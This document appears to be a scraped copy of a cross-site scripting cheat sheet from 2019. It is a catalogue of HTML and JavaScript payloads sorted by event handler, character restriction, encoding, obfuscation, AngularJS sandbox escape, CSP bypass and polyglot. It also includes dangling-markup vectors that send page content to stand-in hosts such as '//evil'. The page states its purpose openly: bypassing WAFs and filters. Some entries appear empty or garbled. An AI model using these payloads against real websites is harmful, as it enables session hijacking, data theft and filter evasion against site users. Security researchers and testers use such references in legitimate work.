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Cross-site scripting (XSS) cheat sheet



This **cross-site scripting** (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2019. Last updated: Fri, 08 Nov 2019 10:58:07 +0000.

Event handlers

[Copy tags to clipboard](#)[Copy events to clipboard](#)[Copy payloads to clipboard](#)

All tags ▼

All events ▼

All browsers ▼

Event handlers that do not require user interaction

onactivate

Fires when the element is activated

a ▼

```
<a id=x tabindex=1 onactivate=alert(1)></a>
```



Compatibility:



onafterprint

Fires after the page is printed

body ▼

```
<body onafterprint=alert(1)>
```



Compatibility:



onanimationcancel

Fires when a CSS animation cancels

a ▼

```
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>
```



Compatibility:



onanimationend

Fires when a CSS animation ends

a ▼

```
<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>
```



Compatibility:



onanimationiteration

Fires when a CSS animation repeats

```
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>
```



Compatibility:



onanimationstart

Fires when a CSS animation starts

```
<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>
```



Compatibility:



onbeforeactivate

Fires before the element is activated

```
<a id=x tabindex=1 onbeforeactivate=alert(1)></a>
```



Compatibility:



onbeforedeactivate

Fires before the element is deactivated

a ▼

```
<a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>
```



Compatibility:



onbeforeprint

Fires before the page is printed

body ▼

```
<body onbeforeprint=alert(1)>
```



Compatibility:



onbeforeunload

Fires after if the url changes

body ▼

```
<body onbeforeunload="location='javascript:alert(1)'">
```



Compatibility:



onbegin

Fires when a svg animation begins

```
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```



Compatibility:



onblur

Fires when an element loses focus

```
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
```



Compatibility:



onbounce

Fires when the marquee bounces

```
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
```



Compatibility:

oncanplay

Fires if the resource can be played

audio ▼

```
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Copy

Compatibility:



oncanplaythrough

Fires when enough data has been loaded to play the resource all the way through

video ▼

```
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
```



Copy

Compatibility:



ondeactivate

Fires when the element is deactivated

a ▼

```
<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
```



Copy

Compatibility:



onend

Fires when a svg animation ends

animate ▼

```
<svg><animate onend=alert(1) attributeName=x dur=1s>
```



Compatibility:



onended

Fires when the resource is finished playing

audio ▼

```
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Compatibility:



onerror

Fires when the resource fails to load or causes an error

audio ▼

```
<audio src/onerror=alert(1)>
```



Compatibility:



onfinish

Fires when the marquee finishes

marquee ▼

```
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
```



Compatibility:



onfocus

Fires when the element has focus

a ▼

```
<a id=x tabindex=1 onfocus=alert(1)></a>
```



Compatibility:



onfocusin

Fires when the element has focus

a ▼

```
<a id=x tabindex=1 onfocusin=alert(1)></a>
```



Compatibility:



onfocusout

Fires when an element loses focus

```
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
```



Compatibility:



onhashchange

Fires if the hash changes

```
<body onhashchange="alert(1)">
```



Compatibility:



onload

Fires when the element is loaded

```
<svg><a onload=alert(1)></a>
```



Compatibility:



onloadeddata

Fires when the first frame is loaded

audio ▼

```
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Compatibility:



onloadedmetadata

Fires when the meta data is loaded

audio ▼

```
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
```



Compatibility:



onloadend

Fires when the element finishes loading

image ▼

```
<image src=validimage.png onloadend=alert(1)>
```



Compatibility:



onloadstart

Fires when the element begins to load

image ▾

```
<image src=validimage.png onloadstart=alert(1)>
```



Compatibility:



onmessage

Fires when message event is received from a postMessage call

body ▾

```
<body onmessage=alert(1)>
```



Compatibility:



onpageshow

Fires when the page is shown

body ▾

```
<body onpageshow=alert(1)>
```



Compatibility:



onplay

Fires when the resource is played

audio ▾

```
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Copy

Compatibility:



onplaying

Fires the resource is playing

audio ▾

```
<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Copy

Compatibility:



onpopstate

Fires when the history changes

body ▾

```
<body onpopstate=alert(1)>
```



Copy

Compatibility:



onreadystatechange

Fires when the ready state changes

applet ▼

```
<applet onreadystatechange=alert(1)></applet>
```



Copy

Compatibility:



onrepeat

Fires when a svg animation repeats

animate ▼

```
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
```



Copy

Compatibility:



onresize

Fires when the window is resized

body ▼

```
<body onresize="alert(1)">
```



Copy

Compatibility:



onscroll

Fires when the page scrolls

body ▾

```
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
```



Compatibility:



onstart

Fires when the marquee starts

marquee ▾

```
<marquee onstart=alert(1)>XSS</marquee>
```



Compatibility:



ontimeupdate

Fires when the timeline is changed

audio ▾

```
<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Compatibility:



ontoggle

Fires when the details tag is expanded

details ▼

```
<details ontoggle=alert(1) open>test</details>
```



Compatibility:



ontransitioncancel

Fires when a CSS transition cancels

a ▼

```
<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a>
```



Compatibility:



ontransitionend

Fires when a CSS transition ends

a ▼

```
<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a>
```



Compatibility:



ontransitionrun

Fires when a CSS transition begins

a ▼

```
<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a>
```



Compatibility:



onunhandledrejection

Fires when a promise isn't handled

body ▼

```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```



Compatibility:



onwaiting

Fires when while waiting for the data

video ▼

```
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
```



Compatibility:



Event handlers that do require user interaction



onauxclick

Fires when right clicking or using the middle button of the mouse

```
<input onauxclick=alert(1)>
```



Compatibility:



onbeforecopy

Requires you copy a piece of text

```
<a onbeforecopy="alert(1)" contenteditable>test</a>
```



Compatibility:



onbeforecut

Requires you cut a piece of text

```
<a onbeforecut="alert(1)" contenteditable>test</a>
```



Compatibility:



onbeforepaste

Requires you paste a piece of text

```
<a onbeforepaste="alert(1)" contenteditable>test</a>
```



Compatibility:



onchange

Requires as change of value

```
<input onchange=alert(1) value=xss>
```



Compatibility:



onclick

Requires a click of the element

```
<a onclick="alert(1)">test</a>
```



Compatibility:



oncontextmenu

Triggered when right clicking to show the context menu

```
<a oncontextmenu="alert(1)">test</a>
```



Compatibility:



oncopy

Requires you copy a piece of text

```
<a oncopy="alert(1)" contenteditable>test</a>
```



Compatibility:



oncut

Requires you cut a piece of text

```
<a oncut="alert(1)" contenteditable>test</a>
```



Compatibility:



ondblclick

Triggered when double clicking the element

```
<a ondblclick="alert(1) ">test</a>
```



Compatibility:



ondrag

Triggered dragging the element

```
<a draggable="true" ondrag="alert(1) ">test</a>
```



Compatibility:



ondragend

Triggered dragging is finished on the element

```
<a draggable="true" ondragend="alert(1) ">test</a>
```



Compatibility:



ondragenter

Requires a mouse drag

```
<a draggable="true" ondragenter="alert(1)">test</a>
```



Compatibility:



ondragleave

Requires a mouse drag

```
<a draggable="true" ondragleave="alert(1)">test</a>
```



Compatibility:



ondragover

Triggered dragging over an element

```
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>
```



Compatibility:



ondragstart

Requires a mouse drag

a ▼

```
<a draggable="true" ondragstart="alert(1)">test</a>
```



Compatibility:



ondrop

Triggered dropping a draggable element

a ▼

```
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>
```



Compatibility:



oninput

Requires as change of value

input ▼

```
<input oninput=alert(1) value=xss>
```



Compatibility:



oninvalid

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

```
<form><input oninvalid=alert(1) required><input type=submit>
```



Compatibility:



onkeydown

Triggered when a key is pressed

```
<a onkeydown="alert(1) " contenteditable>test</a>
```



Compatibility:



onkeypress

Triggered when a key is pressed

```
<a onkeypress="alert(1) " contenteditable>test</a>
```



Compatibility:



onkeyup

Triggered when a key is released

```
<a onkeyup="alert(1)" contenteditable>test</a>
```



Compatibility:



onmousedown

Triggered when the mouse is pressed

```
<a onmousedown="alert(1)">test</a>
```



Compatibility:



onmouseenter

Triggered when the mouse is hovered over the element

```
<a onmouseenter="alert(1)">test</a>
```



Compatibility:



onmouseleave

Triggered when the mouse is moved away from the element

```
<a onmouseleave="alert(1)">test</a>
```



Compatibility:



onmousemove

Requires mouse movement

```
<a onmousemove="alert(1)">test</a>
```



Compatibility:



onmouseout

Triggered when the mouse is moved away from the element

```
<a onmouseout="alert(1)">test</a>
```



Compatibility:



onmouseover

Requires a hover over the element

```
<a onmouseover="alert(1)">test</a>
```



Compatibility:



onmouseup

Triggered when the mouse button is released

```
<a onmouseup="alert(1)">test</a>
```



Compatibility:



onpaste

Requires you paste a piece of text

```
<a onpaste="alert(1)" contenteditable>test</a>
```



Compatibility:



onpause

Requires clicking the element to pause

audio ▾

```
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Compatibility:



onreset

Requires a click

form ▾

```
<form onreset=alert(1)><input type=reset>
```



Compatibility:



onsearch

Fires when a form is submitted and the input has a type attribute of search

input ▾

```
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
```



Compatibility:



onseeked

Requires clicking the element timeline

audio ▼

```
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Compatibility:



onseeking

Requires clicking the element timeline

audio ▼

```
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Compatibility:



onselect

Requires you select text

input ▼

```
<input onselect=alert(1) value="XSS" autofocus>
```



Compatibility:



onsubmit

Requires a form submission

form ▼

```
<form onsubmit=alert(1)><input type=submit>
```



Compatibility:



onunload

Requires a click anywhere on the page and a reload

svg ▼

```
<svg onunload=window.open('javascript:alert(1)')>
```



Compatibility:



onvolumechange

Requires volume adjustment

audio ▼

```
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



Compatibility:



onwheel

Fires when you use the mouse wheel

body ▼

```
<body onwheel=alert(1)>
```



Compatibility:



Restricted characters



No parentheses using exception handling

```
<script>onerror=alert;throw 1</script>
```



No parentheses using exception handling no semi colons

```
<script>{onerror=alert}throw 1</script>
```



No parentheses using exception handling no semi colons using expressions

```
<script>throw onerror=alert,1</script>
```



No parentheses using exception handling and eval

```
<script>throw onerror=eval, '=alert\x281\x29'</script>
```



No parentheses using exception handling and eval on Firefox

```
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
```



No parentheses using ES6 hasInstance and instanceof with eval

```
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
```



No parentheses using ES6 hasInstance and instanceof with eval without .

```
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
```



No parentheses using location redirect

```
<script>location='javascript:alert\x281\x29'</script>
```



No parentheses using location redirect no strings

```
<script>location=name</script>
```



No parentheses using template strings

```
<script>alert`1`</script>
```



Frameworks



Bootstrap onanimationstart event

```
<xss class=progress-bar-animated onanimationstart=alert(1)>
```



Bootstrap ontransitionend event

```
<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>
```



Iframe src attribute JavaScript protocol

```
<iframe src="javascript:alert(1)">
```



Copy

Object data attribute with JavaScript protocol

```
<object data="javascript:alert(1)">
```



Copy

Embed src attribute with JavaScript protocol

```
<embed src="javascript:alert(1)">
```



Copy

A standard JavaScript protocol

```
<a href="javascript:alert(1)">XSS</a>
```



Copy

The protocol is not case sensitive

```
<a href="JaVaScript:alert(1)">XSS</a>
```



 Copy

Characters \x01-\x20 are allowed before the protocol

```
<a href="      javascript:alert(1)">XSS</a>
```

 Copy

Characters \x09,\x0a,\x0d are allowed inside the protocol

```
<a href="javas  cript:alert(1)">XSS</a>
```

 Copy

Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

```
<a href="javascript
:alert(1)">XSS</a>
```

 Copy

Xlink namespace inside SVG with JavaScript protocol

```
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
```

 Copy

SVG animate tag using values

```
<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```



Copy

SVG animate tag using to

```
<svg><animate xlink:href=#xss attributeName:href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
```



Copy

SVG set tag

```
<svg><set xlink:href=#xss attributeName:href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```



Copy

Data protocol inside script src

```
<script src="data:text/javascript,alert(1)"></script>
```



Copy

SVG script href attribute without closing script tag

```
<svg><script href="data:text/javascript,alert(1)" />
```



Copy

SVG use element Chrome/Firefox

```
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'
```

```
width='100' height='100'><a xlink:href='javascript:alert(1) '><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use>
</svg>
```



Import statement with data URL

```
<script>import ('data:text/javascript,alert(1)')</script>
```



Base tag with JavaScript protocol rewriting relative URLs

```
<base href="javascript:/a/-alert(1)////////"><a href=../lol/safari.html>test</a>
```



MathML makes any tag clickable

```
<math><x href="javascript:alert(1) ">blah
```



Button and formaction

```
<form><button formaction=javascript:alert(1)>XSS
```



Input and formaction

```
<form><input type=submit formaction=javascript:alert(1) value=XSS>
```



Form and action

```
<form action=javascript:alert(1)><input type=submit value=XSS>
```



Isindex and formaction

```
<isindex type=submit formaction=javascript:alert(1)>
```



Isindex and action

```
<isindex type=submit action=javascript:alert(1)>
```



Use element with an external URL

```
<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>
```



Using srcdoc attribute

```
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
```



Copy

Using srcdoc with entities

```
<iframe srcdoc="&lt;img src=1 onerror=alert(1)&gt;"></iframe>
```



Copy

Click a submit element from anywhere on the page, even outside the form

```
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
```



Copy

Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements

```
<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
```



Copy

Link elements: Access key attributes can enable XSS on normally unexploitable elements

```
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
```



Copy



Copy

Download attribute can save a copy of the current webpage

```
<a href=# download="filename.html">Test</a>
```



Copy

Disable referrer using referrerpolicy

```

```



Copy

Special tags



Redirect to a different domain

```
<meta http-equiv="refresh" content="0; url="//portswigger-labs.net">
```



Copy

Meta charset attribute UTF-7

```
<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```



Copy

Meta charset UTF-7

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```



Copy

UTF-7 BOM characters (Has to be at the start of the document) 1

```
+/v8  
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```



Copy

UTF-7 BOM characters (Has to be at the start of the document) 2

```
+/v9  
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```



Copy

UTF-7 BOM characters (Has to be at the start of the document) 3

```
+/v+  
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```



Copy

UTF-7 BOM characters (Has to be at the start of the document) 4

```
+/v/  
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```




Copy

Upgrade insecure requests

```
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
```



Copy

Disable JavaScript via iframe sandbox

```
<iframe sandbox src="//portswigger-labs.net"></iframe>
```



Copy

Disable referer

```
<meta name="referrer" content="no-referrer">
```



Copy

Encoding



Overlong UTF-8

```
%C0%BCscript>alert(1)</script>  
%E0%80%BCscript>alert(1)</script>  
%F0%80%80%BCscript>alert(1)</script>  
%F8%80%80%80%BCscript>alert(1)</script>  
%FC%80%80%80%80%BCscript>alert(1)</script>
```



Copy

Unicode escapes

```
<script>\u0061alert(1)</script>
```



Copy

Unicode escapes ES6 style

```
<script>\u{61}alert(1)</script>
```



Copy

Unicode escapes ES6 style zero padded

```
<script>\u{0000000061}alert(1)</script>
```



Copy

Hex encoding JavaScript escapes

```
<script>eval('\x61alert(1)')</script>
```



Copy

Octal encoding

```
<script>eval('\141alert(1)')</script>
```

```
<script>eval('\061alert(1)')</script>
```

```
<script>eval( alert(\\001) )</script>  
<script>eval('alert(\\61)')</script>
```



Decimal encoding with optional semi-colon

```
<a href="#"&#106;avascript:alert(1)">XSS</a><a href="#"&#106avascript:alert(1)">XSS</a>
```



SVG script with HTML encoding

```
<svg><script>&#97;lert(1)</script></svg>  
<svg><script>&#x61;lert(1)</script></svg>  
<svg><script>alert&NewLine;(1)</script></svg>  
<svg><script>x="&quot;;,alert(1)//";</script></svg>
```



Decimal encoding with padded zeros

```
<a href="#"&#0000106avascript:alert(1)">XSS</a>
```



Hex encoding entities

```
<a href="#"&#x6a;avascript:alert(1)">XSS</a>
```



Hex encoding without semi-colon provided next character is not a-f0-9

```
<a href="j&#x61vascript:alert(1)">XSS</a>  
<a href="&#x6a  
avascript:alert(1)">XSS</a>  
<a href="&#x6a avascript:alert(1)">XSS</a>
```



Hex encoding with padded zeros

```
<a href="&#x0000006a;avascript:alert(1)">XSS</a>
```



Hex encoding is not case sensitive

```
<a href="&#X6A;avascript:alert(1)">XSS</a>
```



HTML entities

```
<a href="javascript&colon;alert(1)">XSS</a>  
<a href="java&Tab;script:alert(1)">XSS</a>  
<a href="java&NewLine;script:alert(1)">XSS</a>  
<a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>
```



URL encoding

```
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
```



Copy

HTML entities and URL encoding

```
<a href="javascript:x='%&percent;27-alert(1)-%27';">XSS</a>
```



Copy

Obfuscation



Firefox allows NULLS after &

```
<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>
```



Copy

Firefox allows NULLs inside named entities

```
<a href="javascript&colon;alert(1)">Firefox</a>
```



Copy

Firefox allows NULL characters inside opening comments

```
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
```

```
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
```



Copy

Data protocol inside script src with base64

```
<script src=data:text/javascript;base64,YWxlcuQoMSk=></script>
```



Copy

Client-side template injection



AngularJS sandbox escapes reflected



1.0.1 - 1.1.5

Mario Heiderich (Cure53)

41

```
{{constructor.constructor('alert(1)')()}}
```



Copy

1.0.1 - 1.1.5 (shorter)

Gareth Heyes (PortSwigger) & **Lewis Ardern** (Synopsys)

33

```
{{$.constructor('alert(1)')()}}
```



Copy

1.2.0 - 1.2.1

Jan Horn (Google)

122

```
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
```



Copy

1.2.2 - 1.2.5

Gareth Heyes (PortSwigger)

23

```
{{{{}.[""]));alert(1)//"}}
```



Copy

1.2.6 - 1.2.18

Jan Horn (Google)

106

```
{{(['_'].sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(.__proto__, $).value,0,'alert(1)')()}}
```



Copy

1.2.19 - 1.2.23

Mathias Karlsson (Detectify)

124

```
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
```

 Copy

1.2.24 - 1.2.29

Gareth Heyes (PortSwigger)

23

```
{{{}}."));alert(1)//"}}
```

 Copy

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

23

```
{{{}}."));alert(1)//"}}
```

 Copy

1.3.0

Gábor Molnár (Google)

272

```
{(!ready && (ready = true) && (  
  
!call  
? $$watchers[0].get(toString.constructor.prototype)  
: (a = apply) &&  
(apply = constructor) &&  
(valueOf = call) &&  
(''+''+toString(  
'F = Function.prototype;' +  
'F.apply = F.a;' +  
'delete F.a;' +  
'delete F.valueOf;' +  
'alert(1);'  
)))));}}
```

 Copy

1.3.3 - 1.3.18

Gareth Heyes (PortSwigger)

128

```
{{{{[{{toString:[].join,length:1,0:'__proto__'}}].assign=[].join;'a'.constructor.prototype.charAt=  
[].join;$eval('x=alert(1)//');}}}}
```

 Copy

1.3.19

Gareth Heyes (PortSwigger)

102

```
{{'a'[{toString:false,valueOf:[]}.join,length:1,0:'__proto__']}.charAt=[]}.join;$eval('x=alert(1)//');}}
```



1.3.20

Gareth Heyes (PortSwigger)

65

```
{{'a'.constructor.prototype.charAt=[]}.join;$eval('x=alert(1)');}}
```



1.4.0 - 1.4.9

Gareth Heyes (PortSwigger)

74

```
{{'a'.constructor.prototype.charAt=[]}.join;$eval('x=1 } }';alert(1)//');}}
```



1.5.0 - 1.5.8

Ian Hickey & Gareth Heyes (PortSwigger)

79

```
{{x={'y':''}.constructor.prototype};x['y'].charAt=[]}.join;$eval('x=alert(1)');}}
```



1.5.9 - 1.5.11

Jan Horn (Google)

517

```
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
```

 Copy

>=1.6.0

Mario Heiderich (Cure53)

41

```
{{constructor.constructor('alert(1)')()}}
```

 Copy

>=1.6.0 (shorter)

Gareth Heyes (PortSwigger) & **Lewis Arden** (Synopsys)

33

```
{{$.on.constructor('alert(1)')()}}
```

 Copy

DOM based AngularJS sandbox escapes (Using orderBy or no \$eval)



1.0.1 - 1.1.5

Mario Heiderich (Cure53)

37

```
constructor.constructor('alert(1)')()
```

 Copy

1.2.0 - 1.2.18

Jan Horn (Google)

118

```
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
```

 Copy

1.2.19 - 1.2.23

Mathias Karlsson (Detectify)

119

```
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)
```

 Copy

1.2.24 - 1.2.26

Gareth Heyes (PortSwigger)

317

```
{}[['__proto__']][x]=constructor.getOwnPropertyDescriptor;g={}[['__proto__']][x];{[__proto__]
['y']=g('').sub['__proto__'],'constructor'};{[__proto__] z}=constructor.defineProperty;d={}[['__proto__']
['z'];d('').sub['__proto__'],'constructor',{value:false});{[__proto__] y}.value('alert(1)')()
```

 Copy

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

20

```
{}.")));alert(1)//";
```

 Copy

1.4.0-1.4.5

Gareth Heyes (PortSwigger)

--

75

```
'a'.constructor.prototype.charAt= [].join;[1]|orderBy:'x=1} } };alert(1)//';
```

 Copy

>=1.6.0

Mario Heiderich (Cure53)

37

```
constructor.constructor('alert(1)')()
```

 Copy

1.4.4 (without strings)

Gareth Heyes (PortSwigger)

134

```
toString().constructor.prototype.charAt= [].join;  
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```

 Copy

AngularJS CSP bypasses

All versions (Chrome)

Gareth Heyes (PortSwigger)

81

```
<input autofocus ng-focus="$event.path|orderBy:[''].constructor.from([1],alert)'">
```



All versions (Chrome) shorter

Gareth Heyes (PortSwigger)

56

```
<input id=x ng-focus=$event.path|orderBy:'(z=alert) (1)'">
```



All versions (all browsers) shorter

Gareth Heyes (PortSwigger)

91

```
<input autofocus ng-focus="$event.composedPath()|orderBy:[''].constructor.from([1],alert)'">
```



1.2.0 - 1.5.0

Eduardo Vela (Google)

190

```
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
```



Scriptless attacks

Dangling markup

Background attribute

```
<body background="//evil?>
<table background="//evil?
<table><thead background="//evil?
<table><tbody background="//evil?
<table><tfoot background="//evil?
<table><td background="//evil?
<table><th background="//evil?
```

 Copy

Link href stylesheet

```
<link rel=stylesheet href="//evil?
```

 Copy

Link href icon

```
<link rel=icon href="//evil?
```

 Copy

Meta refresh

```
<meta http-equiv="refresh" content="0; http://evil?
```



Img to pass markup through src attribute

```
<track default src="//evil?
```



Video using source element and src attribute

```
<video><source src="//evil?
```



Audio using source element and src attribute

```
<audio><source src="//evil?
```



Input src

```
<input type=image src="//evil?"
```



Button using formaction

```
<form><button style="width:100%;height:100%" type=submit formaction="//evil?"
```



Input using formaction

```
<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?"
```



Form using action

```
<button form=x style="width:100%;height:100%;"><form id=x action="//evil?"
```



Isindex using src attribute

```
<isindex type=image src="//evil?"
```



Isindex using submit

```
<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?
```

 Copy

Object data

```
<object data="//evil?
```

 Copy

Iframe src

```
<iframe src="//evil?
```

 Copy

Embed src

```
<embed src="//evil?
```

 Copy

Use textarea to consume markup and post to external site

```
<form><button formaction=//evil>XSS</button><textarea name=x>
```

 Copy

Pass markup data through window.name using form target

```
<button form=x>XSS</button><form id=x action=//evil target='
```



Pass markup data through window.name using base target

```
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a>  
<base target="
```



Pass markup data through window.name using formtarget

```
<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html  
formtarget="
```



Using base href to pass data

```
<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/
```



Using embed window name to pass data from the page

```
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```



Using iframe window name to pass data from the page

```
<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```



Using object window name to pass data from the page

```
<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```



Using frame window name to pass data from the page

```
<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
```



Polyglots



Polyglot payload 1

```
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
```



Polyglot payload 2

```
javascript:/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \"  
onmouseover=/*&lt;svg/*onload=alert()//>
```



Copy

Classic vectors (XSS crypt)



Image src with JavaScript protocol

```

```



Copy

Body background with JavaScript protocol

```
<body background="javascript:alert(1)">
```



Copy

Iframe data urls no longer work as modern browsers use a null origin

```
<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
```



Copy

VBScript protocol used to work in IE

```
<a href="vbscript:MsgBox+1">XSS</a>
```

```
<a href="#" onclick="vbs:Msgbox+1">XSS</a>

<a href="#" onclick="VBS:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>
<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>
```



JScript compact was a minimal version of JS that wasn't widely used in IE

```
<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
```



JScript.Encode allows encoded JavaScript

```
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
```



VBScript.Encoded allows encoded VBScript

```
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
```



JavaScript entities used to work in Netscape Navigator

```
<a title="{alert(1)}">XSS</a>
```



JavaScript stylesheets used to be supported by Netscape Navigator

```
<link href="xss.js" rel=stylesheet type="text/javascript">
```



Button used to consume markup

```
<form><button name=x formaction=x><b>stealme
```



IE9 select elements and plaintext used to consume markup

```
<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>
```



XBL Firefox only <= 2

```
<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
